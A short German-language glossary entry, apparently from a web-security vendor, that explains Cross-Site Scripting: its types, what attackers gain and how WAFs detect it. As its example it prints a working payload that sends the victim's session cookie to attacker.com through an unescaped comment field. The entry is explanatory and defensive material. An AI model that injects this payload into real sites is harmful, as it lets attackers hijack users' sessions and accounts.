Cross-Site Scripting (XSS)
Quick Definition
Eine Schwachstelle, die es Angreifern ermöglicht, bösartige clientseitige Skripte in Webseiten zu injizieren, die von anderen Benutzern angezeigt werden.
Was ist Cross-Site Scripting?
Cross-Site Scripting (XSS) ist ein clientseitiger Code-Injection-Angriff, bei dem ein Angreifer bösartige Skripte im Browser eines Opfers ausführen kann. XSS tritt auf, wenn eine Webanwendung nicht vertrauenswürdige Daten in eine Webseite einbindet, ohne ordnungsgemäße Validierung oder Escaping.
XSS-Angriffe können verwendet werden, um:
- Session-Cookies zu stehlen und Benutzerkonten zu kapern
- Benutzer auf bösartige Websites umzuleiten
- Webseiten zu verunstalten
- Tastatureingaben zu protokollieren und sensible Daten zu erfassen
- Malware zu verbreiten
Es gibt drei Haupttypen von XSS:
- Persistentes XSS: Bösartiges Skript wird dauerhaft auf dem Zielserver gespeichert (in einer Datenbank, einem Kommentarfeld usw.)
- Reflektiertes XSS: Bösartiges Skript ist in einer URL eingebettet und wird vom Web-Server in Fehlermeldungen oder Suchergebnissen zurückgegeben
- DOM-basiertes XSS: Die Schwachstelle existiert im clientseitigen JavaScript anstatt im serverseitigen Code
Beispiele
Ein Kommentarformular, das Benutzereingaben ohne Escaping anzeigt:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> Wenn andere Benutzer die Seite mit diesem Kommentar anzeigen, werden ihre Session-Cookies an den Server des Angreifers gesendet.
Häufig gestellte Fragen
Wie erkennen WAFs XSS-Angriffe?
WAFs erkennen XSS, indem sie HTTP-Anfragen auf bösartige JavaScript-Muster, HTML-Tags und Event-Handler scannen. Sie suchen nach Script-Tags, JavaScript-URLs, Event-Attributen wie onload/onerror und kodierten Varianten dieser Muster.